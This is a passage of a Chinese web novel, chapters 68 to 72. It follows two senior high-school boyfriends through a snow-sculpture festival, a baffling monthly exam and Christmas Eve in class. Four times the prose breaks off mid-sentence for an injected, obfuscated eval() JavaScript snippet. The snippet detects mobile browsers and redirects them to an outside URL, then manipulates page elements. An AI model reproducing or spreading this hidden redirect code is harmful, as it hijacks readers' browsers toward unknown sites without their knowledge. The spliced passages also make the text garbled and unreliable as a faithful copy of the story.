“你问这个啊?” “我们班长带头搞的,作品名字叫《雪怪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390168|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家》。” 孔霄往旁边让开一点,好叫林藏初二人能看清楚高三(16)班的作品全貌。 “来都来了,走!我带你们俩体验一下!” “?” ……体验什么? 林藏初还没问出口,就被孔霄一言堂地搂着肩膀带走了。被他牵着袖子的谢遥集也随之踉跄几步:“?” 三个人就这么你拽我我拽你、东倒西歪地挤进熙攘的人群—— “我去,你快看。”方才解释的女生忽然很小声地惊呼一声,推了推旁边的闺蜜。 “看啥?” 闺蜜跟着她的动作茫然回头,“天上有飞机?没有帅哥别叫我……” 剩下半截的玩笑话倏地被静了音。 原本十几米开外的两个身高体长的帅哥不知何时已经出现在了她的旁边,其中一个步伐略微着急,以至于围巾松松垮垮地散落下来。 男生朗眉星目的面容一闪而过,随即被人群挡了去。女生被晃了下神,好半天才反应过来。 “……天哪。”她喃喃地接上自己刚才的后半段话,“还真是有帅哥啊。” 孔霄不由分说地把林藏初一路拽到人群最前,找了个绝佳的位置:“林哥!这儿!来排队!” 林藏初脚下刚站稳,就又被他往旁边推了推:“?” 前面排着的男生听见声音回头,好奇地打量他几眼:“霄哥,你旁边这位是?” “嗨,这你就不知道了吧。”孔霄自豪地拍拍胸脯,“这是我在一班的兄弟人脉!牛逼吧!” 高三(1)班的名号谁人不知,男生的视线瞬间由好奇转为敬仰:“牛逼啊哥,这么厉害的你都……” “拐回来了”几个字没说完,因为他又看见后面大名鼎鼎的学生会主席:“……呃,嗨,谢会长?” 一直充当背景板的谢遥集终于舍得点了下头:“嗯,我跟他是一起的。” 男生:“……哦哦。” 谢遥集:“嗯。” 林藏初:“……” 合着你俩就没话硬聊呗? 他叹了口气,不去理这仨人,转头自顾自把高三(16)班的作品从上到下完完整整地打量了一遍。 十六班的作品名字叫雪怪的家,实际上也确实很有那个味道。整个雪雕高两米、长宽各两米半,外形呈雪屋状,旁边甚至还开了个小小的十字窗。 雪屋中间的“门”敞开着,林藏初估算了下,发现正好能容纳一个人爬进爬出。 “虽然外面看着有点小,但里面最多能同时装得下两个人呢。”孔霄语气兴奋,“林哥!要不要进去体验一下!” 林藏初虽然有点动心,但嘴上还在客气:“谢谢,我就不……” “谢啥呀!咱俩这关系!” 他的后半句话在孔霄的热情攻击下尸骨无存,等林藏初反应过来的时候,半个人都已经进了“雪怪的家”。 ……算了。来都来了。 林藏初叹着气想,顺着雪屋往里面又爬了爬——然后他忽然意识到了一件事。 厚重的衣服外套挡住了狭小雪屋里面的唯一光源,周围昏暗,虽不至于伸手不见五指,但他此时此刻什么都看不见。 要不然还是出去吧? 林藏初有点犹豫,可万一出去的话孔霄问他都看见了什么,要怎么圆? 几秒钟后,也可能是十几秒钟后。 他忽然听见外面熟悉的声音:“不是说能两个人同时进?” “孔同学,通融一下?” 69.Chapter 69 林藏初虽然看不见,但是能感觉到身后有人带着凛冽的风钻进来,手指抵上他的肩膀,力道很轻地按了下。 “怎么停在这儿了?”谢遥集的声音掺了些笑,“往里面挪挪,好挤啊。” 紧绷的心情瞬间松懈,林藏初松了口气,依着他的话向里面挪了挪。 谢遥集的身体靠过来,几乎是没留任何余地,温热的呼吸打在少爷的脖颈处,痒痒的。 ……好像还是有点挤。林藏初瘫着脸想。 视觉被剥夺的情况下其他感官就会变得更为敏锐,他听见谢遥集略微急促的呼吸声,听见外面吵吵闹闹的人群说话声。 以及两个人紧靠在一起,动作间衣服细微的摩擦声。 林藏初随便朝着一个方向虚虚地抓了把,什么都没够到。而后他空着的手腕被人游刃有余地抓住,就像之前的每一次一样。 “别躲。”谢遥集低声道。 林藏初于是不动了。 少爷在有光的地方和没光的地方向来是两个样子,一个分外叛逆,一个又格外听话——外人简直想不到,如此矛盾的两种特质怎么能同时出现在一个人身上。 但是谢遥集知道。 他握着林藏初的腕骨,带着人往雪屋的冰凉的雪墙上碰。 “这里是壁画。”谢遥集说,“是个很可爱的小雪人。” 手指只摸了一下就收回去,又换了个方向。 “这里是灯……看不见也挺好的。刻得有点丑。” “这个大的是柜子,小一点的是个花瓶,里面插了张纸飞机。” “……这个摸不了,没雕结实。” 谢遥集说话的时候胸腔也会跟着颤,林藏初靠得实在是太近了,耳垂被对方呼吸时带起的气流吹得发痒。 他向后缩了缩,喊:“谢遥集。” “怎么了?” 林藏初想说“你讲话的时候能不能离我远些,我怕痒”,但是他又想起这个狭窄的雪屋根本容纳不下更多的空余地方,能挤下他们两个人都是将七将八*。 “……没什么。” 少爷把话收了咽回肚子里。 但是谢遥集就像是有什么特异功能一样地读懂了,握着他手腕的力道松开,整个人也向后撤了几厘米。 林藏初有些愕然地抬起头。 ——他忘记了自己看不清的事实,眼前是一片类似于坏掉的电视机里面雪花碎片的昏暗的黑。 黑暗中谢遥集冰凉的手指似乎是摸了过来,蜻蜓点水地碰在林藏初漂亮的五官上,顺着额头、鼻梁一路向下,到最后停在唇瓣中间。 林藏初的身体跟着颤了下,天灵盖有种过电似的麻:“你……” “嘘。”谢遥集说。 “小少爷,我可以问你一个问题吗?” 谢遥集经常这么叫他。以前是阴阳怪气冷嘲热讽,后来就变成了揶揄和捉弄,再后来又变成带着一点暧昧的咬文嚼字。 但这么认真地喊,好像还是头一次。 林藏初浅棕色的瞳孔望向谢遥集所在的位置,因为看不清东西,显得有些空荡而涣散。 “……什么?” 谢遥集低下头去,亲了亲那双在黑暗中难以视物的漂亮眼睛。 “想问问你。” “在外面一共结交了多少好朋友?” …… ………… 林藏初记不清自己是怎么回答的了,谢遥集的手指离开他的唇瓣,又去了另外的地方。 抑制不住的喘息被人堵着嘴压进喉咙里,衣裳穿得厚,冷风刮不进来,于是显得指尖在皮肤上面游走时的冰凉触感更为明晰。 这场“雪屋体验”好像很短,又好像很长,到最后林藏初出来的时候几乎站不稳,外面刺目的阳光晃得眼睛流泪,新的泪痕和旧的叠在一起。 旁人察觉不到异常,拍着少爷的肩膀问:“怎么样?里面好看吧!” “……挺好看的。” “你有没有看见那个灯?还有柜子——旁边花瓶里那个纸飞机还是我放的。” 林藏初想起来某人在他身上画雪屋平面图的全过程,登时觉得腰酸起来。 “……都看见了。” “柜子有三层,最上面还雕了几本书。” “那个纸飞机是你放的啊?它右边那几朵冰花看着快散架了,我都没敢碰。” “害,都怪第一个进去的同学。” 孔霄摆摆手,凑过来一边走一边神神秘秘地讲:“林哥我跟你说啊,别跟别人讲。” “他带女朋友进去的,俩人在里面偷偷亲嘴儿,不小心把花给撞烂了。” 唰啦—— 少爷脚下一滑,险些摔了个狗啃屎。 “哈,哈哈。”林藏初干笑着打了个哈哈,“那可真是太不讲究了。” “可不是嘛!”孔霄也跟着咂咂嘴,“小情侣亲归亲,亲那么激烈干嘛啊?” “……”林藏初脚下又一滑。 他生出来一种现在立刻就去找谢遥集问刚才有没有撞到东西的冲动。 “嗯。那个,我先走了。” 林藏初站稳之后的第一句话。 “谢……我同桌还在那边等我,他应该已经帮你们班记完表格了。” 第二句话,少爷盯着地面,没敢抬头看。 “噢噢,成啊。”孔霄没觉得有什么不对,好哥俩告别地去拍他的肩膀,“下次再遇见……” 他的手并没落到实处,因为林藏初已经一溜烟地跑了,步伐着急,像是在躲什么洪水猛兽。 “……一定请你喝杯奶茶。” 孔霄缓缓把下半句话说完,有些纳闷地摸了摸鼻尖,“学生会的工作都这么赶时间的吗?” “都还没来得及跟他讲下周学校月考换卷的事……算了,林哥应该能知道的吧?” - 事实证明,林藏初对这件事确实一无所知。这个“一无所知”里同样也包括着高三(1)班的其他同学。 冰雪节过后,班级里玩闹怠倦的气氛还没收回来,从内到外都透着种懒洋洋的劲儿。 眼看着考试临近,贝姐在晚自习课上一反常态地起身,下讲台巡视了好几个来回,像是有话要说。 终于她开口了:“关于这次月考……” 话音未落,忙着前后桌传纸条的、躲在字典后面睡觉的,桌底下偷偷看小说的同学们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403709|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叮哐作响手忙脚乱,齐刷刷地抬起脑袋。 “……校领导上个月开会研究了一下。”邱贝顿了几秒才把话接上,“这次的月考决定换一套出题机构,不是以往的类型题。” 高跟鞋敲击地面的声音清脆,林藏初撑开困乏的眼皮,只听见了零星的几个关键词,什么“新高考”、“AI数据库”、“题型创新”。 “不过无论是什么卷,里面的知识点都是共通的。” 邱贝坐回讲台,重新翻开教案:“所以也不用太当回事儿,正常考就行。” 讲台上的声音远远地传过来,中间还夹杂着前几排同学的窃窃私语声,林藏初听得又有点困,手里握着的笔垂直下滑,在干净的草稿纸上戳出来个圆圆的拖尾墨迹。 草稿纸原本在他的胳膊下面压着,忽然被一阵不大不小的力道轻轻抽走。 林藏初睁开眼,看见谢遥集低着头在上面写了些什么,十几秒钟后又重新推回来。 -昨天发你的生物笔记,看了吗? 尚处于半睡状态的林藏初盯着草稿纸,慢半拍地思考了一阵。 针管笔尖点在纸面上,缓缓地画了个问号出来:? 他刚画完问号,谢遥集的笔就紧随其后地跟过来,墨蓝色的问号后面紧密地接了一串红色的数字。 是谢遥集发他笔记的时间点。22:03。林藏初努力地想了想,这应该是他刚回家的时候。 昨天晚上十点钟他干嘛来着? 林藏初想起来了。 好像是在打青训营的比赛账号。 跟着一同闪回的,还有少爷一整个晚上都已读不回谢遥集消息的事。 林藏初:“……” 林藏初整个人瞬间清醒,方才的瞌睡和困意全吓跑了。 因为比赛最终选拔的截止时间就在这个月的月底,所以他这些天一到家就在打巅峰赛,昏天暗地的,根本无暇去管其他的事。 男朋友特意整理的笔记没看,发的消息一句没回,打的语音电话也一个没接。 到最后打得恼了,觉得消息框和半透明弹窗太烦,林藏初直接把手机设成了勿扰模式。 这哪里是在问他看没看生物笔记,分明是醉翁之意不在酒,走的秋后算账的路子! 昏沉的大脑彻底清醒,昨晚的一桩桩一件件罪行走马灯似地在脑海里闪过来闪过去,少爷绝望地闭了下眼睛,在心里颤颤巍巍地给自己立了个衣冠冢。 ……不行,不能这么坐以待毙。 林藏初回忆起谢遥集以往那些用在他身上的、“收拾人”的手段,打了个哆嗦,求生欲瞬间拉满。 电光石火间灵感偶得,他立刻把草稿纸往自己这一侧拽了拽,抓着笔先发制人地划拉了几笔道歉:对不起。 林藏初睁着眼睛讲瞎话的本领在谢遥集的耳濡目染之下节节高升,说谎不打草稿:你发我的笔记我都看过了,背得太入迷所以忘记回你消息 谢遥集停在草稿纸上的笔尖罕见地顿了下:……真的? 林藏初:真的!!!我都背过了! 舍不着孩子套不着狼。他眼一闭心一横,签字画押似地写:不信你看我这次理综成绩,绝对比上一次高! 70.Chapter 70 当着男朋友的面大言不惭夸下海口的后果就是,林藏初一整个周末都扑在生物课本里,就着谢遥集发给他的笔记整理,龇牙咧嘴地啃进去一堆知识点。 少爷敢打包票,他自打上幼儿园起就都没这么用功学习过,这次月考无论如何,成绩肯定会高过上一回卷子上乱蒙的ABCD。 然而计划永远比不上变化快。 周二上午,监考老师手里长长的理综卷一发下来,林藏初就知道自己想错了。 他盯着上面冗长的资料和图片看了半晌,没能读懂这到底是个什么题。 翻到背面,又是一大堆陌生的文字。 ……这啥呀?说好的基因遗传图解呢?说好的传统发酵技术呢? 那他熬夜辛辛苦苦背完的果醋果酒制作过程算什么?算自己想酿两瓶喝吗? 林藏初绝望地把卷子又翻回去,开始重操起了老本行——看选择题的四个选项,哪个顺眼就填哪个。 至于后面的解答题,生物他背过的一个没出,化学算是两眼一黑啥都不会,物理…… 林藏初握着笔,在最后一道物理大题的第一小问,“二者停止运动时,木块是否还停留在长木板上”的后面,毅然决然地写了个“是”。 啧,比化学强。 好歹猜对了还算一分呢。 少爷如此安慰自己般地想道。 而且也不是没有机会……万一这次的运气比较好,前面选择题全蒙对了呢? 而且就算没考好,谢遥集估计也不会说些什么,谁让他给自己那份笔记里面的知识点考试一点没出啊! …… 与此同时。第一考场。 谢遥集也盯着面前的试卷,转着笔眉头紧锁。 他已经很久没有这种“力不从心”的感觉了,昨天考语文的时候是这样,今天考理综也是这样。 出题人到底怎么想的? 谢遥集看着卷子第六页那道有机化合物合成大题百思不得其解,这不是选修五教材里面的吗?为什么要挪到前面来出? 况且老师上课也没讲过选修五吧? 他又想到自己之前特意给林藏初的那份生物笔记。虽然谢遥集之前确实是没事儿闲的自学了选修五的有机结构,但老师没讲,他也就没往笔记上写。 谢遥集秉持着“循序渐进”的教育理念,只给林藏初挑了一些容易背的、能短时间内迅速提分的知识点整理。 但是见了鬼了。 他挑的那些“高考生物易错重难点”,在这张理综卷上一个字都看不见。 何止只有是生物这样,就连理综和化学也跟老师上课重点强调的地方八竿子打不着。 谢遥集皱着眉,生平第一次在考试的时候想一会儿写一会儿。 这不对吧? 考场的其他位置也时不时传来焦躁的按笔声和零星的哀叹声。似乎所有人都陷入了一场巨大的无逻辑考试——明明都是见过的知识点,但组合起来又让人分外陌生。 然而谁都没想到这只是一个开始。真正的噩梦始于月考结束的当天晚上,高三(1)班的同学们按照惯例传阅班级前几名的试卷对答案。 周扬在连续对了四份语文卷,仍然没能得出来一套完整正确答案的情况下,终于彻底放弃,硬着头皮回头敲了敲林藏初的桌子:“林哥,你醒着吗?” 林藏初昨天睡得晚,加上今天又被理综和英语轮番摧残,整个人有气无力地趴在桌子上,声音闷闷的:“嗯。什么事?” “你论述类文本阅读选的什么啊?借我看看呗?” 跟林藏初玩得熟的都知道他不怎么喜欢把卷子往外借,因此这话问出来后周围一静,周扬有些忐忑地咽了下口水。 几秒钟后,他看见林藏初慢吞吞地腾出来一只胳膊,伸进桌屉里掏了掏,掏出来张不成样子的语文卷。 “给。” 这么容易就借到了? 周扬登时受宠若惊地接过来,视若珍宝地跟同桌一起分享这份最有可能是正确答案的卷子:“谢谢林哥……” 感谢的话只说了一半就胎死腹中,因为他拿到手才发现,这张卷上面除了些乱写乱画的涂鸦之外,什么都没有。 A选项前面打了个问号,B选项后面打了个叉,C选项中间被人画了个双横线,D选项虽然干干净净,但是一看就不是正确答案。 ……他们语文成绩好的人,卷面都是这个样儿吗? 周扬有些恍惚地把卷子举起来,对着教室的灯条看了看。 没有什么变化。只有第三题前面的简笔王八在对着他咧嘴笑。 周扬:“……” 他好像知道为什么林藏初一直不愿意把卷子借给别人看了。 他正犹豫要不要直接把试卷还回去,突然听见椅子剐蹭地面发出细微的吱呀声响,林藏初指骨分明的手探过来,不由分说地将试卷拽了回去。 周扬:“?”这是反悔了? “不好意思,刚才忘了。” 林藏初从桌面上直起身,语调里带着些未散的倦意,抓着笔往卷子的空白处补了几个字。 “喏。给你。” 试卷被主人再度塞回到周扬手里,周扬愣愣低头,看到上面已经多了几道刚写上去的、龙飞凤舞的选择题答案。 先前的误会涌上心头,他有些羞惭地又多道了几句谢,那头林藏初十分不在意地摆摆手,又接着趴下睡了。 于是周扬又把目光放回到这张语文卷上来。 论述类文本阅读的三道题选了CBB,实用类文本阅读选了BCA……他跟自己卷子上的答案一路对下来,没有一个相同的。 周扬这回是真的:“?” “我草……”他目光呆滞地跟同桌讲,“完犊子了,我这回语文阅读要考零蛋了……” “不能吧。” 同桌也皱着眉,拎着自己的卷子看:“我才刚跟谢神对完啊,我俩还有两道题答案是重合的呢——” “……就第四题,我记得你也选的是D吧?”他一边说,一边唰啦展开自己要来的学神版语文答案,小声道,“你笨啊,把林神和谢神的卷子放一起对对不就得了?” “选项一样的肯定就是正确答案!” 周扬一拍脑门。 对啊!他怎么把这个给忘了? 周扬欣然采纳同桌的建议,挡着身后的视线狗狗祟祟地把两份语文卷拼在一起。同桌也把脑袋挤过来,期待居多地抻着自己的考试卷,深吸一口气,准备接受正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422636|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确答案的“洗礼”。 然后两个人才终于发现,他们先前所设想的、这个“选项一样”的筛选条件到底有多么难得。 谢神前三道题选的ABD,后三道题选的CAB。翻到另一面,文学类文本阅读的题目勾了D。 ……林藏初的卷子上则是一个潦草的A。 周扬:“……?” 这俩人商量好着答的啊? 他哽了下,下意识往旁边看。 同桌也是瞠目结舌,脸色比他还要精彩。 周扬已经能想到成绩出来后语文老师大发雷霆的样子,他打了个寒颤,有心想向这两尊大神求证一下。 他回过头,发现林藏初已经趴下继续睡了,谢遥集原本在做数学题,察觉到周扬欲言又止的视线,没出声,只递了个询问的眼神过来。 周扬把自己要说的话咽回去了。 先不提林哥是不是在睡觉,他总觉得现在开口讲话,谢神的眼刀都能杀了他。 * 林藏初睡醒的时候,距离第二节晚自习下课还有二十分钟。语文老师在讲台上慷慨激昂,谢遥集的桌面上平摊着两份交叠的考试卷。 “……这道题,仔细一看四个选项其实都有毛病!”老师隐含愤怒的声音响彻教室,“但是呢,再仔细分析一下,我们就会发现A选项的毛病更大!所以选这道题选A。” 她自己都有点讲不下去了,差点笑场。碍于面子,又悄悄地把试卷往脸上挡了挡,但还是被离得近的学生看见了。 有人举手:“老师,你是不是也觉得出题人的脑袋叫驴给踢了?” “就是啊!”其他人也一连声地喊起来,“一点逻辑都没有!怎么答啊!” “我光选择题就错七个!” “你七个还算少的,我错了十个。哈哈,想不到吧,一整张语文卷上都才只有十三道选择题。” 座位周围的声讨叽叽喳喳群情激奋,林藏初按了下太阳穴,视线随意一瞥,停在谢遥集桌面上已经改好答案的语文试卷上。 右边那张卷了角的,看起来无比熟悉,甚至显眼的空白地方还画了只憨态可掬的王八——跟他考试的时候画的那只特别像。 不能说是毫不相干,只能说是一模一样。 ……不对。 妈的,这卷子好像还真是他的。 林藏初记忆彻底归笼,想起来自己睡觉前随手把卷子借给周扬的事。 “……”少爷正襟危坐,表面上是在听语文老师讲课,实则眼角的余光偷偷往旁边看。 看一眼,卷子上一片红。吓回来了。 忍不住再看一眼,还是满满当当的红。没等看清,谢遥集似乎偏了下头,林藏初迅速收回视线。 真就错这么多? 林藏初不死心地尝试去看第三眼,自以为隐蔽的视线掠过去,正好对上谢遥集有些好笑的目光。 “!” 被人守株待兔地抓了个正着,林藏初也不藏着掖着了,刚要硬气地开口叫男朋友把试卷还回来,物归原主。 他还没开口,离得远的那份卷子就已经主动被推过来。 “这才是你的。”谢遥集说。 “你刚才一直看的那份是我的,不好意思。” 71.Chapter 71 ……? 那份被红笔改的红彤彤血淋淋的试卷,是谢遥集的? 犹如霹雳惊雷乍响,林藏初懵了一瞬,紧接着立刻表情震惊地俯下身,把那份属于谢遥集的卷子急急地拽过来。 谢遥集的话他有点不信,但等他真正看见谢遥集的语文试卷时,这话不信也得信。 “不是,你是不是对错答案了?” 林藏初盯着上面的一整片A改B、B改C,百思不得其解:“你……语文成绩虽然没其他科高,但是也没差到这种地步吧?” 还在上课时间,他这两句话是轻微的气音,从旁边细毛刷一样扫过来,谢遥集的心跟着不甚明显地急跳两下。 他张了张嘴,解释的话停在舌尖,没说。 少爷不知道自己这难得的一两句有关成绩的关怀在男朋友心里究竟翻起了多大的风浪,仍旧在无知无觉地往上凑。 “这题的A选项一看就不对……虽然C看着也有点小毛病,但是无伤大雅。” “还有这个文言文断句,嘶,你考试的时候是不是睡过去了?”兴许是真的没想到他能错这么多,林藏初将语文卷从头翻到尾,说的话比平时都多了几倍。 谢遥集好像听进去了,又好像没听进去。 他的视线落在林藏初上下开合的嘴唇上,许是刚睡醒的缘故,唇瓣看起来略微有些苍白干涩,因为讲话的声音小所以凑得很近。 只要一偏头就能蹭得到。 放在几个月前,如果有人跟谢遥集说“你某天会坐在教室里听林藏初讲语文卷”,他绝对会冷笑一声,并且觉得这是天方夜谭—— 就算自己的语文成绩差到老师见了摇头、校长路过都叹气的程度,他谢遥集也绝不会沦落到如此窘迫的境地,要靠一个不学无术的少爷来教他怎么考高分。 而不是像现在这样。 在教室里心安理得地当一个对“林老师”有非分之想、不好好听讲的坏学生。 谢遥集把这个新称呼在齿边滚一圈,不知道为什么,心里生出来连他自己都讲不清的情绪。 像是久违的愉悦,又像是久经沙漠的旅人终于找到绿洲,靠在椰子树旁松了口气。 这次的语文卷确实出得奇怪又不遂人心意,放眼望去整个班级,每一道题都是十拿九稳才写下答案的学生寥寥无几。但林藏初就是其一。 虽然正确率并不是百分百,也足够让人望而兴叹。 男朋友在语文这门学科上的天赋远比他要高得多。这个认知让谢遥集有种莫名的兴奋和震颤。扪心自问,他没有什么地方能比得过林藏初,也没什么东西能送给林藏初,唯独成绩这一块儿。 谢遥集想起自己曾经那个有关“年级第一”的承诺。 “喂,你有在听吗?” 察觉到面前人的出神,林藏初皱着眉把手指往他额头上搭,语气里的关切不似作伪,“好端端的怎么在发愣,身体不舒服?” 他看见谢遥集摇摇头。下课铃响起,原本安静的班级在语文老师出门的一瞬间变得嘈杂,谢遥集的话就淹在这种热热闹闹的嘈杂里。 “……要不要长期教学?林老师。” 林藏初没听清:“什么?” 座位旁边的窗户被路过的同学随手推开,冷风裹挟着积雪的气息从夜色里飘进来,操场上的人声鼎沸在瞬间变得清晰。 谢遥集的胳膊靠在椅背上,身体微微向前倾,这个角度林藏初能看见他略微垂下的眼睫,漂亮如蝶翼似的颤了颤。 “你知道的,我的语文成绩一直不太好。” 谢遥集的声音很低,林藏初从里面莫名其妙听出些脆弱的意味。他有心想反驳每次都考一百一还不好吗,但思及对方这次成绩惨淡的语文卷,又很识相地闭嘴了。 “所以我们一起学习吧。”他听见谢遥集说,“你教我语文,我教你其他科目。怎么样?” 教室里的同学来来往往,经过此处的如果不仔细看,只会觉得是林藏初在和谢遥集认真地讨论试卷上的错题。 但如果有人细心上那么一点,往旁边窗户玻璃上的反光看过去,就会发现林藏初此刻几乎是被他的学神同桌一整个拥在怀里,举止亲昵,行为暧昧。 谢遥集不是第一次抛出来这个问题。 林藏初窝在这人被风吹得有些凉的怀里,很后知后觉地想起来那个下着鹅毛大雪的安静午后。 原本定好的会议延迟,一群学生挤在北楼里浩浩荡荡地写作业。他拿着那道别人问过的生物题去骚扰谢遥集,问他为什么答案选C不选A。 明明A选项才是正确答案,但谢遥集照顾他的胡搅蛮缠,一本正经地跟人家说这题选C。 谢遥集那时候也问过他同样的问题。认真的眼神看过来,语气很是平淡,问他要不要一起学习。 ——谁要跟你一起学习? 林藏初记起自己当初嘴硬多过真心的回答,拒绝完的第三秒就开始后悔,答应了多好,还能把其他人挤开,让谢遥集永远只给自己一个人讲题。 讲理综讲数学讲英语,最好从早读的铃声响起一直讲到晚自习最后一节课放学,什么同学甲同学乙,通通都得抱着卷子靠边站。 林藏初这么想了,也确实这么说了。 “好啊。一言为定。” “这样的话咱们两个都能……”先前打好的草稿还没来得及变通,谢遥集抱着人的力道倏地跟着一紧,似乎是被林藏初的答案震到了,“你说什么?” 声音都放轻的程度,怕再大声一点就会把这个答案像张纸一样轻飘飘地吹跑了,怕一不小心这个人就反悔了、不干了,把这六个字都归结为少爷用来逗弄对象的玩笑话。 “我说,好啊。” 林藏初有些奇怪地看他一眼,“离这么近,听不见?” 他从谢遥集略微发紧的怀抱里抽出一只手,在这人的轮廓漂亮的耳垂点了点。 被林藏初碰过的位置瞬间开始发起烫,谢遥集捂着耳朵默默转开脑袋,抱着人的力道也松了几分:“听见了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447491|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 其实林藏初对学习的兴趣近乎于无,不喜欢卷子,不喜欢算式,也不喜欢那些一叠一叠摞起来的草稿纸。 但是他喜欢谢遥集身上沾染的、刚印出来的试卷的味道,闻起来是略有些发苦的油墨,像是灰纸被压在仓库里很久,终于印上题目和答案得以重见天日。 所以谢遥集买来的那些练习册和辅导书,少爷都照单全收了。 从课本的第一页开始看,公式和定理看得昏昏欲睡,困倦的脑袋砸向桌面的前一秒,又被人眼疾手快地用手掌接住了。 林藏初放弃挣扎般地闭上眼睛,就着这个被谢遥集托着额头的姿势,气若游丝喃喃道:“不瞒你说,谢遥集,我觉得我的头好像变沉了。” “……是知识的重量吗?还是我脑袋里进水了?” 谢遥集没忍住笑出声:“那要不要我帮忙晃一晃,看看里面装的到底是水还是知识点。” 他作势要动,吓得少爷慌忙把脑袋从这人的手里抬起来。 “再晃就傻了——再说了,今天可是平安夜啊!学这么长时间,就不能放一天假吗?” 林藏初离他微微远了些,义正言辞地控诉道。 这话也确实有道理。 自上次月考全班只有谢遥集一个人过六百分,贝姐虽然嘴上安慰“一次考试算不得什么”,但实则暗地里偷偷加大了对班级的管控力度。 不仅将午休时间缩短了,还在正式晚课前设置了“小自习”。 好不容易才有个节日可以过,所以今天提前来班级的人额外多,乍一看是似乎为了学习,实则进班时手里都拎着一袋子五颜六色的夹心糖果。 谢遥集没有看日历的习惯,他把手机从口袋里摸出来看了眼,才发现原来今天是12月24号,圣诞节的前一天。 前桌在堆满卷子的课桌上悄悄清理出来个角落,摆了一棵小小的圣诞树。再往远看,教室满是哈气的玻璃窗上被人写了串歪歪斜斜的“Merry Christmas”。 热闹的节日气氛偷藏在高三紧张刺激的学习环境里,每个人都小心翼翼,但又发自内心地在庆祝快乐。 谢遥集忽然想到,他好像忘记了给男朋友准备圣诞礼物。 但林藏初显然没有他考虑得那样多。之所以提起“平安夜”的名头,也不过是为了能从男朋友堪称严苛的学习监督下耍赖似地讨来点儿摸鱼时间。 谢遥集没说话,林藏初也就自动当他默认了自己的“休息请求”。 他手一撑长腿一迈,谢遥集的椅子跟着晃了两下。等谢遥集再一回头,这人已经拎着一大袋子的巧克力离开座位了。 最先收到礼物的是教室第一排的同学,然后再是第二排,第三排。 “我草……不是我说林哥。”有人眼尖地认出来巧克力的牌子,心情震惊得难以复加,“你把venchi当糖一大把地送啊?” “啊?”林藏初被他问懵了,“我从家里随便拿的,这个不好吃吗?” 72.Chapter 72 后面的回答谢遥集再没听清,前排和后排本来就离得远,加上此时的教室又格外吵闹。 他只能看见那个同学似乎是凑过去讲了些什么话,随后被少爷开玩笑地骂上几句,撞了下肩膀。 周围一群人都跟着哄笑起来,溜出座位过去其乐融融地凑热闹,又被下个忙着赶时间过来发糖的人扒拉开:“不许再挤了!快上课了!再磨蹭就要发不完了!” 于是谢遥集的视线又重新落回到自己的桌面,上面摆着林藏初方才离开座位时偷偷放过来的巧克力。 五颜六色的包装摊在写到一半的试卷上,好像数量比其他人的要多上不少。 谢遥集其实不怎么喜欢吃巧克力。儿时听见其他家的孩子朝父母哭着吵着要吃糖吃零食的时候,奶奶也问过他。 年幼的谢遥集看着奶奶佝偻的背摇摇头,无师自通地学会了“说谎”这项算不上光彩的本领。 但后来奶奶还是捎回来一条临期的巧克力,不知道是从哪里弄来的,拆开后颜色发白,口感很硬,咬在嘴里的时候特别苦,谢遥集硬是咽了说好吃。 奶奶也很高兴。直到很久之后谢遥集才知道那是她特意去镇上买的,原价不算便宜,因为放得时间太久所以商家打了折,被奶奶欢天喜地买回来给孩子尝一尝。 再后来,家里隔三差五地就会出现不同种类的巧克力,有时候是过期的,有时候是已经融化一半的。甜的苦的都有,甚至有次还是酒心的,齁得喉咙发腻。 再再后来,奶奶就去世了。没人送他巧克力了。 “哎快快快,谢神你挑一下!” 有同学正好拎着袋子发糖发到他这边,挤过来的时候还倒霉地撞歪了张桌子,“棒棒糖!你喜欢这个葡萄味儿的还是橘子味的?” 谢遥集从冗长的回忆里缓过神,面前是满满半袋种类繁多色彩缤纷的糖果,同学说话的语速飞快:“要上课了!记得帮林神也拿两根!谢神你知道他喜欢吃什么吧?” “……谢谢。”他从袋子里挑出来四根橙子味的棒棒糖,“圣诞快乐。” 